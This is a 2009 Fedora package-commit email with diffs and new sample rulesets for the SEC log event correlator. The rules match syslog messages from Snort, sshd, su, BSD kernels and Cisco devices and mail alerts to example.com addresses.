 %{_initrddir}/sec
-%{_mandir}/man1/*
-%ghost %verify (not md5 size mtime) %{_localstatedir}/log/sec
-%ghost %verify (not md5 size mtime) %{_localstatedir}/run/sec.pid
-
-################################################################################
+%{_bindir}/sec
+%{_mandir}/man1/sec.1*
 
 %changelog
+* Tue Sep 29 2009 Stefan Schulze Frielinghaus <stefan at seekline.net> - 2.5.2-1
+- New upstream release
+- SPEC file cleanup
+- Init script cleanup
+- Removed some examples because of licensing issues. Upstream has clarified
+  and changed most of the license tags to GPLv2. Additionally, upstream
+  will include the examples in the next release.
+- Removed a provide statement since a period was in the name and no other
+  package required that special name.
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.4.1-4
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: snort.sec
===================================================================
RCS file: /cvs/pkgs/rpms/sec/devel/snort.sec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- snort.sec	1 Sep 2006 20:54:01 -0000	1.1
+++ snort.sec	3 Oct 2009 07:35:41 -0000	1.2
@@ -1,5 +1,10 @@
 ####################################################################
 #                Sample SEC ruleset for Snort IDS
+#
+# Copyright (C) 2003-2009 Risto Vaarandi
+# This is free software. You may redistribute copies of it under the terms of 
+# the GNU General Public License version 2.
+# There is NO WARRANTY, to the extent permitted by law.
 ####################################################################
 
 # ------------------------------------------------------------------
@@ -52,7 +57,8 @@ pattern=PRIORITY 1 INCIDENT FROM (\S+) T
 context=ATTACK_FROM_$1
 continue=TakeNext
 desc=Priority 1 attack started from $1
-action=create ATTACK_FROM_$1; add ALERT_REPORT %t: %s; pipe '%t: %s' 
+action=create ATTACK_FROM_$1; add ALERT_REPORT %t: %s; pipe '%t: %s' \
+       /usr/bin/mail -s 'NOC: SNORT: priority 1 attack from $1' alerts at example.com
 
 
 # For every priority 1 incident, add an entry to the context by its IP;
@@ -66,7 +72,7 @@ continue=TakeNext
 desc=Priority 1 incident from $1 to $2: $3
 action=add ATTACK_FROM_$1 %t: %s; \ 
        set ATTACK_FROM_$1 300 ( report ATTACK_FROM_$1 \
-       /usr/bin/mail -s 'NOC: SNORT: priority 1 attack from $1 (report)' alerts at email.com )
+       /usr/bin/mail -s 'NOC: SNORT: priority 1 attack from $1 (report)' alerts at example.com )
 
 
 # ------------------------------------------------------------------
@@ -116,7 +122,7 @@ continue=TakeNext
 desc=Create activity contexts for $1
 action=create ACTIVITY_LIST_FOR_$1_LIFETIME; \
        create ACTIVITY_LIST_FOR_$1 7200 ( report ACTIVITY_LIST_FOR_$1 \
-       /usr/bin/mail -s 'SNORT: $1 has been active for 2 hours' alerts at email.com; \
+       /usr/bin/mail -s 'SNORT: $1 has been active for 2 hours' alerts at example.com; \
        delete ACTIVITY_LIST_FOR_$1_LIFETIME )
 
 
@@ -142,7 +148,7 @@ type=Calendar
 time=0 12 * * *
 desc=Sending alert report...
 action=report ALERT_REPORT \
-       /usr/bin/mail -s 'SNORT: Hourly alert report' alerts at email.com; \
+       /usr/bin/mail -s 'SNORT: Hourly alert report' alerts at example.com; \
        delete ALERT_REPORT
 
 
@@ -152,6 +158,6 @@ type=Calendar
 time=0 9 * * *
 desc=Sending portscan report...
 action=report PORTSCAN_REPORT \
-       /usr/bin/mail -s 'SNORT: daily portscan report' alerts at email.com; \
+       /usr/bin/mail -s 'SNORT: daily portscan report' alerts at example.com; \
        delete PORTSCAN_REPORT
 


Index: snortsam.sec
===================================================================
RCS file: /cvs/pkgs/rpms/sec/devel/snortsam.sec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- snortsam.sec	1 Sep 2006 20:54:01 -0000	1.1
+++ snortsam.sec	3 Oct 2009 07:35:41 -0000	1.2
@@ -1,10 +1,17 @@
-
+#############################################################################
+# Snort SAM events
+#
+# Copyright (C) 2003-2009 Matt Jonkman
+# This is free software. You may redistribute copies of it under the terms of 
+# the GNU General Public License version 2.
+# There is NO WARRANTY, to the extent permitted by law.
+#############################################################################
 
 type=single
 ptype=regexp
 pattern=([A-Za-z0-9._-]+) root: (.*) snortsam, Error: Could not bind socket.
 desc = $0
-action=pipe '$1 Snortsam Bind Failed -- NEEDS ATTENTION!: %s' /usr/bin/mail -s "Snortsam Bind Failure: NEEDS ATTENTION on $1" alerts at yourdomain.com
+action=pipe '$1 Snortsam Bind Failed -- NEEDS ATTENTION!: %s' /usr/bin/mail -s "Snortsam Bind Failure: NEEDS ATTENTION on $1" alerts at example.com
 
 
 type=single
@@ -24,7 +31,7 @@ action=add SNORTSAM_REPORT $1 Extending 
 #ptype=regexp
 #pattern=([A-Za-z0-9._-]+)snortsam\[([0-9]+)\]: [*], [:0-9]+, -, ipf, (.*) Failed
 #desc = Snortsam ipf error
-#action=pipe '$1 Snortsam IPF Command Failed' /usr/bin/mail -s "%s" alerts at yourdomain.com
+#action=pipe '$1 Snortsam IPF Command Failed' /usr/bin/mail -s "%s" alerts at example.com
 ##action=add SNORTSAM_REPORT ERROR $1 IPF Command Failure: $2
 
 
@@ -52,13 +59,13 @@ type=single
 ptype=regexp
 pattern=([A-Za-z0-9._-]+) root: (.*) ipf, Error: Command (.*) Failed
 desc = $0
-action=pipe '$1 Snortsam IPF Command Failed: $1 $2 $3' /usr/bin/mail -s "Snortsam IPF Command Failed on $1" alerts at yourdomain.com
+action=pipe '$1 Snortsam IPF Command Failed: $1 $2 $3' /usr/bin/mail -s "Snortsam IPF Command Failed on $1" alerts at example.com
 
 type=single
 ptype=regexp
 pattern=([A-Za-z0-9._-]+) root: (.*) snortsam, Snortsam Station .* using wrong password, trying to resync.
 desc = $0
-action=pipe '$1 Snortsam Password Failure: $1' /usr/bin/mail -s "Snortsam Password Failure on $1" alerts at yourdomain.com
+action=pipe '$1 Snortsam Password Failure: $1' /usr/bin/mail -s "Snortsam Password Failure on $1" alerts at example.com
 
 #Send hourly snortsam report
 
@@ -66,5 +73,5 @@ type=Calendar
 time=0 * * * *
 desc=Sending snortsam report...
 action=report SNORTSAM_REPORT \
-       /usr/bin/mail -s 'SNORTSAM report' alerts at yourdomain.com; \
+       /usr/bin/mail -s 'SNORTSAM report' alerts at example.com; \
        delete SNORTSAM_REPORT


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/sec/devel/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	28 May 2007 20:06:22 -0000	1.4
+++ sources	3 Oct 2009 07:35:41 -0000	1.5
@@ -1 +1 @@
-f233b3acf7cebdb573f4ff1f441866c3  sec-2.4.1.tar.gz
+0e5e3c2e4e3ef6c21fc32a809c6263bb  sec-2.5.2.tar.gz


Index: ssh-brute.sec
===================================================================
RCS file: /cvs/pkgs/rpms/sec/devel/ssh-brute.sec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- ssh-brute.sec	1 Sep 2006 20:54:01 -0000	1.1
+++ ssh-brute.sec	3 Oct 2009 07:35:41 -0000	1.2
@@ -1,4 +1,10 @@
 ################## ssh brute force attack blocker
+# Copyright (C) 2003-2009 Mark Bergman
+# This is free software. You may redistribute copies of it under the terms of 
+# the GNU General Public License version 2.
+# There is NO WARRANTY, to the extent permitted by law.
+##################
+#
 # This sec ruleset monitors syslog messages for indications that an ssh brute-force
 # login attack is underway. The trigger is an ssh login failure.
 #
@@ -15,10 +21,6 @@
 # 2 hours.
 #
 # Vulnerabilities of this ruleset are:
-#	DoS attack: if the attacker is aware of this ruleset, they could
-#		spoof a series of victim IP addresses (for example, the 
-#		AOL proxy address), thus causing the server running sec
-#		to deny service to the victim.
 #
 #	persistent firewall rules:
 #		if the sec daemon crashes or is restarted, any existing rules


Index: ssh.sec
===================================================================
RCS file: /cvs/pkgs/rpms/sec/devel/ssh.sec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- ssh.sec	1 Sep 2006 20:54:01 -0000	1.1
+++ ssh.sec	3 Oct 2009 07:35:41 -0000	1.2
@@ -1,6 +1,13 @@
-# a ruleset to accumulate errors from a parent and child sshd process
+###########################################################################
+# SEC ruleset to accumulate errors from a parent and child sshd process
 # into a single context. This allows reporting of the authenticated
 # user information with the error's generated by the child sshd process.
+#
+# Copyright (C) 2003-2009 John P. Rouillard
+# This is free software. You may redistribute copies of it under the terms of 
+# the GNU General Public License version 2.
+# There is NO WARRANTY, to the extent permitted by law.
+###########################################################################
 
 # note handling of deferred reporting until after tie events received
 # is still in flux. My old rules hanlded it by resubmitting all the
@@ -38,7 +45,7 @@ action=create EVENT_PROCESSED
 #ptype=regexp
 #pattern=([A-Za-z0-9._-]+) sshd\[([0-9]+)\]: \[[^]]+\] Connection from ([0-9.]+) port [0-9]+
 #action=pipe session_log_$1_$2 \
-#    /usr/bin/mail -s "ssh failed to generate tie event for $1" alerts at email.com
+#    /usr/bin/mail -s "ssh failed to generate tie event for $1" alerts at example.com
 #desc2=Link parent and child contexts
 #ptype2=regexp
 #pattern2=$1 [A-z0-9]+\[[0-9]+\]: \[[^]]+\] SSHD child process +([0-9]+) spawned by $2
@@ -86,7 +93,7 @@ desc=Report immediate on request.
 ptype=regexp
 pattern=^sshd: Report (.*) if needed$
 context = session_log_report_$1
-action= report session_log_$1 /usr/bin/mailx -s "sshd error on $1" alerts at email.com ;\
+action= report session_log_$1 /usr/bin/mailx -s "sshd error on $1" alerts at example.com ;\
         delete session_log_report_$1
 
 type=suppress
@@ -144,7 +151,7 @@ pattern=([A-z._0-9-]*) sshd\[([0-9]+)\]:
 context = $3 < 1025 && tie_event_received_$1_$2
 action = add session_log_$1_$2 $0 ; \
          report session_log_report_$1_$2 \
-             /usr/bin/mailx -s "sshd bind < 1025 on $1" alerts at email.com
+             /usr/bin/mailx -s "sshd bind < 1025 on $1" alerts at example.com
 
 # end immediate rules here
 
@@ -178,7 +185,7 @@ pattern=([A-z._0-9-]*) sshd\[([0-9]+)\]:
 context = ssh_port_forward_errors_$1_$2
 desc = send report on ssh forward errors if pass threshold (bind)
 action = report session_log_$1_$2 \
-            /usr/bin/mailx -s "ssh port forward errors host $1" alerts at email.com; \
+            /usr/bin/mailx -s "ssh port forward errors host $1" alerts at example.com; \
          delete ssh_port_forward_errors_$1_$2
 thresh=5
 window=600
@@ -211,7 +218,7 @@ pattern=([A-z._0-9-]*) sshd\[([0-9]+)\]:
 context = ssh_channel_setup_errors_$1_$2
 desc = send report on ssh channel setup errors
 action = report session_log_$1_$2 \
-            /usr/bin/mailx -s "ssh port forward errors host $1" alerts at email.com ; \
+            /usr/bin/mailx -s "ssh port forward errors host $1" alerts at example.com ; \
          delete ssh_channel_setup_errors_$1_$2
 thresh=5
 window=600
@@ -234,7 +241,7 @@ pattern=([A-Za-z0-9._-]+) sshd\[([0-9]+)
 desc = create context to report ssh errors for host $1 pid $2 in 5 minutes
 context = ! session_log_5min_timer_$1_$2
 action = create session_log_5min_timer_$1_$2 300 report session_log_$1_$2 \
-              /usr/bin/mailx -s "ssh errors for host $1 pid $2" alerts at email.com
+              /usr/bin/mailx -s "ssh errors for host $1 pid $2" alerts at example.com
 
 type=single
 continue = dontcont


Index: vtund.sec
===================================================================
RCS file: /cvs/pkgs/rpms/sec/devel/vtund.sec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- vtund.sec	1 Sep 2006 20:54:01 -0000	1.1
+++ vtund.sec	3 Oct 2009 07:35:41 -0000	1.2
@@ -1,4 +1,11 @@
-#VTUN Events
+#############################################################################
+# VTUN events
+#
+# Copyright (C) 2003-2009 Matt Jonkman
+# This is free software. You may redistribute copies of it under the terms of 
+# the GNU General Public License version 2.
+# There is NO WARRANTY, to the extent permitted by law.
+#############################################################################
 
 type=Single
 ptype=RegExp
@@ -58,14 +65,3 @@ pattern=\S+\s+\d+\s+\S+\s+(\S+)\s+vtund\
 desc=$0
 action=add GENERAL_REPORT %t: VTUN Session $2 Closed on $1
 
-
-
-#Send 12 hours vtun report
-
-type=Calendar
-time=0 0,12 * * *
-desc=Sending vtun report...
-action=report VTUN_REPORT \
-       /usr/bin/mail -s 'VTUN: VTUN Report' alerts at yourdomain.com; \
-       delete VTUN_REPORT0
-


Index: windows.sec
===================================================================
RCS file: /cvs/pkgs/rpms/sec/devel/windows.sec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- windows.sec	1 Sep 2006 20:54:01 -0000	1.1
+++ windows.sec	3 Oct 2009 07:35:41 -0000	1.2
@@ -1,4 +1,11 @@
-#Windows events
+#############################################################################
+# Windows events
+#
+# Copyright (C) 2003-2009 Matt Jonkman
+# This is free software. You may redistribute copies of it under the terms of 
+# the GNU General Public License version 2.
+# There is NO WARRANTY, to the extent permitted by law.
+#############################################################################
 
 type=Single
 ptype=RegExp
@@ -17,21 +24,21 @@ type=Single
 ptype=RegExp
 pattern=\S+\s+\d+\s+\S+\s+(\S+)\s+Security: \\Everyone: User Account Locked Out: Target Account Name: (\S+) .*
 desc=$0
-action=pipe '$1 Windows Account Lockout: %s' /usr/bin/mail -s "Windows Account Locked on $1" alerts at yourdomain.com
+action=pipe '$1 Windows Account Lockout: %s' /usr/bin/mail -s "Windows Account Locked on $1" alerts at example.com
 
 
 type=Single
 ptype=RegExp
 pattern=\S+\s+\d+\s+\S+\s+(\S+)\s+Security: \\Everyone: User Account Changed: (/S+)\. .*
 desc=$0
-action=pipe '$1 Windows Account Change: %s' /usr/bin/mail -s "Windows Account Changed on $1: $2" alerts at yourdomain.com
+action=pipe '$1 Windows Account Change: %s' /usr/bin/mail -s "Windows Account Changed on $1: $2" alerts at example.com
 
 
 type=Single
 ptype=RegExp
 pattern=\S+\s+\d+\s+\S+\s+(\S+)\s+NetBT: N\/A: A duplicate name has been detected on the TCP network\. .*
 desc=$0
-action=pipe '$1 Duplicate Netbios Name Detected: %s' /usr/bin/mail -s "Duplicate Netbios Name on $1" alerts at yourdomain.com
+action=pipe '$1 Duplicate Netbios Name Detected: %s' /usr/bin/mail -s "Duplicate Netbios Name on $1" alerts at example.com
 
 
 


--- 001_init.sec DELETED ---


--- clamav.sec DELETED ---


--- dbi-example.sec DELETED ---


--- general.sec DELETED ---


--- mpd.sec DELETED ---


--- syslog-ng.txt DELETED ---



From stefansf at fedoraproject.org  Sat Oct  3 07:52:17 2009
From: stefansf at fedoraproject.org (Stefan Schulze Frielinghaus)
Date: Sat,  3 Oct 2009 07:52:17 +0000 (UTC)
Subject: rpms/sec/F-12 bsd-general.sec, NONE, 1.1 bsd-mpd.sec, NONE,
	1.1 cisco-syslog.sec, NONE, 1.1 import.log, NONE,
	1.1 pix-general.sec, NONE, 1.1 .cvsignore, 1.4, 1.5 amavisd.sec,
	1.1, 1.2 bsd-MONITOR.sec, 1.1, 1.2 bsd-PHYSMOD.sec, 1.1,
	1.2 bsd-USERACT.sec, 1.1, 1.2 conf.README, 1.1, 1.2 cvs.sec, 1.1,
	1.2 dameware.sec, 1.1, 1.2 hp-openview.sec, 1.1, 1.2 labrea.sec,
	1.1, 1.2 pix-security.sec, 1.1, 1.2 pix-url.sec, 1.1,
	1.2 portscan.sec, 1.1, 1.2 sec.init, 1.1, 1.2 sec.logrotate, 1.1,
	1.2 sec.spec, 1.6, 1.7 snort.sec, 1.1, 1.2 snortsam.sec, 1.1,
	1.2 sources, 1.4, 1.5 ssh-brute.sec, 1.1, 1.2 ssh.sec, 1.1,
	1.2 vtund.sec, 1.1, 1.2 windows.sec, 1.1, 1.2 001_init.sec, 1.1,
	NONE clamav.sec, 1.1, NONE dbi-example.sec, 1.1,
	NONE general.sec, 1.1, NONE mpd.sec, 1.1, NONE syslog-ng.txt,
	1.1, NONE
Message-ID: <20091003075217.58A6111C00E5@cvs1.fedora.phx.redhat.com>

Author: stefansf

Update of /cvs/pkgs/rpms/sec/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29848/F-12

Modified Files:
	.cvsignore amavisd.sec bsd-MONITOR.sec bsd-PHYSMOD.sec 
	bsd-USERACT.sec conf.README cvs.sec dameware.sec 
	hp-openview.sec labrea.sec pix-security.sec pix-url.sec 
	portscan.sec sec.init sec.logrotate sec.spec snort.sec 
	snortsam.sec sources ssh-brute.sec ssh.sec vtund.sec 
	windows.sec 
Added Files:
	bsd-general.sec bsd-mpd.sec cisco-syslog.sec import.log 
	pix-general.sec 
Removed Files:
	001_init.sec clamav.sec dbi-example.sec general.sec mpd.sec 
	syslog-ng.txt 
Log Message:
- New upstream release
- SPEC file cleanup
- Init script cleanup
- Removed some examples because of licensing issues. Upstream has clarified
  and changed most of the license tags to GPLv2. Additionally, upstream
  will include the examples in the next release.
- Removed a provide statement since a period was in the name and no other
  package required that special name.



--- NEW FILE bsd-general.sec ---
# General log events, unix systems. From various sources
#
# Copyright (C) 2003-2009 Jim Brown
# This is free software. You may redistribute copies of it under the terms of 
# the GNU General Public License version 2.
# There is NO WARRANTY, to the extent permitted by law.
#
#   Bad su 
# ----------- 
#
type=Single
ptype=RegExp 
desc=$0 
pattern=\S+\s+\d+\s+\S+\s+(\S+)\s+su: BAD SU (\S+) to (\S+) on (\S+)
action=pipe '$2 failed SU to $3 on $1 at %t' /usr/bin/mail -s "USER: $2 Failed SU on $1" alerts at example.com

type=Single
ptype=RegExp
desc=$0
pattern=\S+\s+\d+\s+\S+\s+(\S+)\s+su: BAD SU (\S+) to (\S+) on (\S+)
action=pipe '$2 failed SU to $3 on $1 at %t' /usr/bin/mail -s "USER: $2 Failed SU on $1" alerts at example.com 


# MONITOR.conf - SEC rules to pick up disruptive monitoring
# events.
#
#Logs involving syslogd disabled or unusual promiscuous mode (MONITOR)
#----------------------------------------------------------------------
#Nov 15 20:02:48 foohost syslogd: exiting on signal 15
#Nov 22 02:00:02 foohost syslogd: restart
#Nov 11 15:58:55 foohost /kernel: de0: promiscuous mode enabled
#Nov 11 15:58:57 foohost /kernel: de0: promiscuous mode disabled
#

#
# Syslog Exit
# -----------
#
type=Single
ptype=RegExp
pattern=\S+\s+\d+\s+\S+\s+(\S+)\s+syslogd: exiting on signal (\d+)
desc=$0
action=write - MONITOR: $1 syslog exit on signal $2 at %t

#
# Syslog Restart
# ---------------
#
type=Single
ptype=RegExp
pattern=\S+\s+\d+\s+\S+\s+(\S+)\s+syslogd: restart
desc=$0
action=write - MONITOR: $1 syslog restart at %t

#
# Syslog Exit
# -----------
#
type=Single
ptype=RegExp
pattern=\S+\s+\d+\s+\S+\s+(\S+)\s+/kernel: (\S+) promiscuous mode (\S+)
desc=$0
action=write - MONITOR: $1 $2 promiscuous mode $3 at %t


#
# sshd Problems
# --------------
#
type=Single
ptype=RegExp
pattern=\S+\s+\d+\s+\S+\s+(\S+)\s+sshd\[\d+\]: (fatal|Bad)(.*)
desc=$0
action=write - USERACT: $1 sshd $2 problem, text: $3 at %t

#
# sshd Accepted
# --------------
#
type=Single
ptype=RegExp
pattern=\S+\s+\d+\s+\S+\s+(\S+)\s+sshd\[\d+\]: Accepted (.*)
desc=$0
action=write - USERACT: $1 sshd accepted login, text: $2 at %t

#
# login FAILURES
# ---------------
#
#type=Single
#ptype=RegExp
#pattern=\S+\s+\d+\s+\S+\s+(\S+)\s+login: (.*?FAILURE.)(.*?ON) (.*)
#desc=$0
#action=write - USERACT: $1 login $2 on $4 at %t


#SSH Auth failure on bsd 5
#type=Single
#ptype=RegExp
#pattern=^\S+\s+\d+\s+\S+\s+(\S+)\s+sshd\[\d+\]: error: PAM: authentication error for (/S+) from (/S+)
#desc=$0
#action=pipe 'SSHD: 1 $1 2 $2 3 $3 to 4 $4 on 5 $5 at %t' /usr/bin/mail -s "SSHD: $1 $2 $3 to $4 on $5 at %t' alerts at example.com

#
# su  bad
# -----------------
#
type=Single
ptype=RegExp
pattern=\S+\s+\d+\s+\S+\s+(\S+)\s+su: (BAD SU) (\S+) to (\S+) on (\S+)
desc=$0
action=pipe 'USER: $1 SU: $2 $3 to $4 on $5 at %t' /usr/bin/mail -s "USERACT: $1 su: $2 $3 to $4 on $5 at %t' alerts at example.com

#Nov 10 19:40:03 foohost su: jpb to root on /dev/ttyp0
#Nov 18 09:37:38 foohost su: BAD SU jpb to root on /dev/ttyp3
#Nov 22 12:26:44 foohost su: BAD SU badboy to root on /dev/ttyp0
#
#
# su  good to root
# -----------------
#
type=Single
ptype=RegExp
pattern=\S+\s+\d+\s+\S+\s+(\S+)\s+su: (\S+) to root on (\S+)
desc=$0
action=pipe 'USER: $1 GOOD SU: $2 $3 to $4 on $5 at %t' /usr/bin/mail -s "USERACT: $1 su: $2 $3 to $4 on $5 at %t' alerts at example.com  
#action=write - USERACT: $1 su: $2 to ROOT on $4  at %t

#
# Cabling Problem
# ----------------
#
type=Single
ptype=RegExp
pattern=^\S+\s+\d+\s+\S+\s+(\S+)\s+/kernel: (\S+)\s+(.*?:) cable problem
desc=$0
action=event 0 $1 PHYSMOD:ORANGE  cable problem on $2, text: $3 at %t



# USERACT - Events concerning user activities.
#
# Sample BSD logs involving logins, change of UID and privilege escalations.
#---------------------------------------------------------------------------
#Nov 14 12:14:58 foohost sshd[3388]: fatal: Timeout before authentication for 192.168.1.1
#Nov 14 19:58:34 foohost sshd[6597]: Bad protocol version identification '^B^S^D^Q^L' from 192.168.1.100
#Oct 18 06:16:53 foohost sshd[131]: Accepted keyboard-interactive/pam for foouser from 192.168.1.1 port 1077 ssh2
#Nov 15 04:02:24 foohost login: 1 LOGIN FAILURE ON ttyp2
#Nov 15 04:02:24 foohost login: 1 LOGIN FAILURE ON ttyp2, mysql
#Oct 18 03:20:46 foohost login: 2 LOGIN FAILURES ON ttyv0
#Oct 18 02:52:04 foohost login: ROOT LOGIN (root) ON ttyv1
#Oct 18 06:11:11 foohost login: login on ttyv0 as root
#Nov 10 19:40:03 foohost su: foouser to root on /dev/ttyp0
#Nov 18 09:37:38 foohost su: BAD SU foouser to root on /dev/ttyp3
#Nov 22 12:26:44 foohost su: BAD SU goodboy to root on /dev/ttyp0
#

#
# sshd Problems
# --------------
#
type=Single
ptype=RegExp
pattern=^\S+\s+\d+\s+\S+\s+(\S+)\s+sshd\[\d+\]: (fatal|Bad)(.*)
desc=$0
action=pipe 'USER: $1 su: $2 $3 to $4 on $5 at %t' /usr/bin/mail -s "USERACT: $1 su: $2 $3 to $4 on $5 at %t' alerts at example.com   
#action=event 0 $1 USERACT:YELLOW  sshd $2 problem, text: $3 at %t

#
# login FAILURES
# ---------------
# ORANGE
type=Single
ptype=RegExp
pattern=^\S+\s+\d+\s+\S+\s+(\S+)\s+(sshd|login): (.*?FAILURE.)(.*?ON) (.*)
desc=$0
action=pipe 'USER: $1: Login Failure $2 on $4 at %t' /usr/bin/mail -s "USER: $1 su: $2 $3 to $4 on $5 at %t' alerts at example.com   
#action=event 0 $1 USERACT:YELLOW  login $2 on $4 at %t


# NETWACT - SEC rules to pick up suspicious network events.
#
# Sample BSD logs involving odd or suspicious network activity.
#--------------------------------------------------------------
#Jun  3 17:46:24 foohost named[38298]: client 10.12.127.176#3714: request has invalid signature: tsig verify failure
#Apr 14 16:23:08 foohost /kernel: arp: 10.10.152.12 moved from 00:90:27:37:35:cf to 00:d0:59:aa:61:11 on de0
#Apr  1 11:23:39 sixshooter /kernel: Limiting closed port RST response from 368 to 200 packets per second


#
# named Dynamic DNS Update rejection
# ----------------------------------
#
type=Single
ptype=RegExp
pattern=^\S+\s+\d+\s+\S+\s+(\S+)\s+named\[\d+\]: client (\S+): request has invalid signature:(.*)
desc=$0
action=pipe 'NET: $1 dyndns attempt from $2' /usr/bin/mail -s "NET: $1 dyndns attempt from $2, text: $3 at %t" alerts at example.com

#
# MAC address moved
# -----------------
# ORANGE
type=Single
ptype=RegExp
pattern=^\S+\s+\d+\s+\S+\s+(\S+)\s+/kernel: arp: (\S+) moved from (\S+) to (\S+) on (\S+)
desc=$0
action=pipe 'NET: $1 arp moved on $2' /usr/bin/mail -s "NET: $1 arp moved on $2 from: $3 to $4 on $5 at %t" alerts at example.com

#
# DoS RST rate limit
# ------------------
#
type=Single
ptype=RegExp
pattern=^\S+\s+\d+\s+\S+\s+(\S+)\s+/kernel: Limiting closed port RST response from (\d+) to (\d+)
desc=$0
action=pipe 'NET: $1 RST limit enforced: $2 to $3 at %t' /usr/bin/mail =s "NET: $1 RST limit enforced: $2 to $3" alerts at example.com



# COMPROM - SEC rules to pick up potential system compromise events.
#
# Sample BSD logs involving potential system compromise.
#-------------------------------------------------------
#May 25 18:09:55 foohost ntpd[1325]: ntpd exiting on signal 11
#Jul 21 18:33:16 foohost /kernel: pid 55454 (ftpd), uid 1001: exited on signal 8
#Apr  9 12:57:06 foohost /kernel: pid 28039 (telnet), uid 0: exited on signal 3 (core dumped)

#
# ntpd crash
# ------------------
#
type=Single
ptype=RegExp
pattern=^\S+\s+\d+\s+\S+\s+(\S+)\s+ntpd\[\d+\]: ntpd exiting on signal (\d+)
desc=$0
action=pipe 'CRASH: $1 ntpd crashed on signal $2 at %t' /usr/bin/mail -s "CRASH: $1 ntpd crashed" alerts at example.com

#
# Process crash
# ------------------
#
type=Single
ptype=RegExp
pattern=^\S+\s+\d+\s+\S+\s+(\S+)\s+/kernel: pid \d+ \(\S+\), uid (\d+): exited on signal (\d+)
desc=$0
action=pipe 'CRASH: $1 $2 crashed on signal $4, uid $3 at %t' /usr/bin/mail -s "CRASH: $1 $2 crashed" alerts at example.com



# PROCESS - SEC rules to pick up suspicious process events.
#
# Sample BSD logs involving unusual processes.
#---------------------------------------------
#Mar 23 08:05:52 foohost thttpd[126]: thttpd/2.25b 29dec2003 starting on port 8090

#
# Suspicious processes
# --------------------
#
type=Single
ptype=RegExp
pattern=^\S+\s+\d+\s+\S+\s+(\S+)\s+(thttpd)\[(\d+)\]:(.*) 
desc=$0
action=pipe 'SUSPROC: $1 suspicious process  $2 pid $3, text: $4 at %t' /usr/bin/mail -s "SUSPROC: $1 suspicious process  $2" alerts at example.com



# SHUTRST - SEC rules to pick up system shutdown, restart events.
#
# Sample BSD logs involving system shutdown and reset.
#-----------------------------------------------------
#Mar  6 16:28:13 foohost reboot: rebooted by foouser 
#Jul 15 17:35:49 foohost halt: halted by root
#Mar  6 16:29:17 foohost /kernel: Copyright (c) 1992-2003 The FreeBSD Project.

#
# Reboot message
# --------------
#
type=Single
ptype=RegExp
pattern=^\S+\s+\d+\s+\S+\s+(\S+)\s+reboot: rebooted by (\S+)
desc=$0
action=pipe 'REBOOT: $1 rebooted by $2' /usr/bin/mail -s "REBOOT: $1 rebooted by $2" alerts at example.com

#
# Halt message
# --------------
#
type=Single
ptype=RegExp
pattern=^\S+\s+\d+\s+\S+\s+(\S+)\s+halt: halted by (\S+)
desc=$0
action=pipe 'HALT: $1 halted by $2' /usr/bin/mail -s "HALT: $1 halted by $2" alerts at example.com

#
# Restart message
# --------------
#
type=Single
ptype=RegExp
pattern=^\S+\s+\d+\s+\S+\s+(\S+)\s+/kernel: Copyright \(c\) (\S+) The FreeBSD Project
desc=$0
action=pipe 'RESTART: $1 restart message at %t' /usr/bin/mail -s "RESTART: $1 restart message" alerts at example.com



--- NEW FILE bsd-mpd.sec ---
#############################################################################
# BSD mpd events
#
# Copyright (C) 2003-2009 Matt Jonkman
# This is free software. You may redistribute copies of it under the terms of 
# the GNU General Public License version 2.
# There is NO WARRANTY, to the extent permitted by law.
#############################################################################

type=single
desc = mpd connection start
ptype=regexp
pattern=([A-z._0-9-]*) mpd: PPTP connection from (\d+\.\d+\.\d+\.\d+):\d+
action=add GENERAL_REPORT MPD Start from $2 on $1

type=single
ptype=regexp
pattern=([A-z._0-9-]*) mpd:  Name: (.*)
desc = mpd user auth
action=add GENERAL_REPORT MPD User $2 Auth on $1

type=Single
ptype=RegExp
pattern=([A-z._0-9-]*) mpd: pptp\d: killing connection with (\d+\.\d+\.\d+\.\d+):\d+
desc=mpd connection end
action=add GENERAL_REPORT MPD Connection end from $2 on $1


--- NEW FILE cisco-syslog.sec ---
#############################################################################
# SEC rules for processing Cisco syslog messages
#
# Copyright (C) 2008-2009 Omer Ben-Shalom, Risto Vaarandi
# This is free software. You may redistribute copies of it under the terms of 
# the GNU General Public License version 2.
# There is NO WARRANTY, to the extent permitted by law.
#############################################################################

# ----- Process system configuration events -----

# System configuration events
# suppressed because we don't care about it
#
type=suppress
ptype=substr
pattern=%SYS-5-CONFIG_I:
desc=device configuration

# System configuration sync to standby router
# suppressed because we don't care about it
#
type=suppress
ptype=substr
pattern=%PFINIT-SP-5-CONFIG_SYNC:
desc=config sync

# ----- Process reload and restart events -----

# Looks for a reload 
# 
type=single
continue=takeNext
ptype=regexp
pattern=\d+:\d+:\d+.*?(\S+)\s+\d+:.*?%SYS-5-RELOAD: (.*)
desc=(WARNING) reload requested for $1
action=pipe '%s details:$2' mail -s 'cisco event' root at example.com

# Looks for a reload followed by a restart event
# 
type=pairWithWindow
ptype=regexp
pattern=\d+:\d+:\d+.*?(\S+)\s+\d+:.*?%SYS-5-RELOAD:
desc=(CRITICAL) $1 RELOAD_PROBLEM
action=pipe '%s' mail -s 'cisco event' root at example.com
ptype2=regexp
pattern2=($1).*?%SYS-5-RESTART:
desc2=(NOTICE) $1 RELOAD_OK
action2=pipe '%s' mail -s 'cisco event' root at example.com
window=300

# Looks for a restart without reload command
# 
type=single
ptype=regexp
pattern=(\S+) \d+:.*?%SYS-5-RESTART:
desc=(CRITICAL) $1 restart without reload command
action=pipe '%s' mail -s 'cisco event' root at example.com

# ----- process SNMP authentication failure events -----

# this rule handles the SNMP authentication failures
# only one notification is sent for each source that is doing this per day
#
type=singleWithSuppress
ptype=regexp
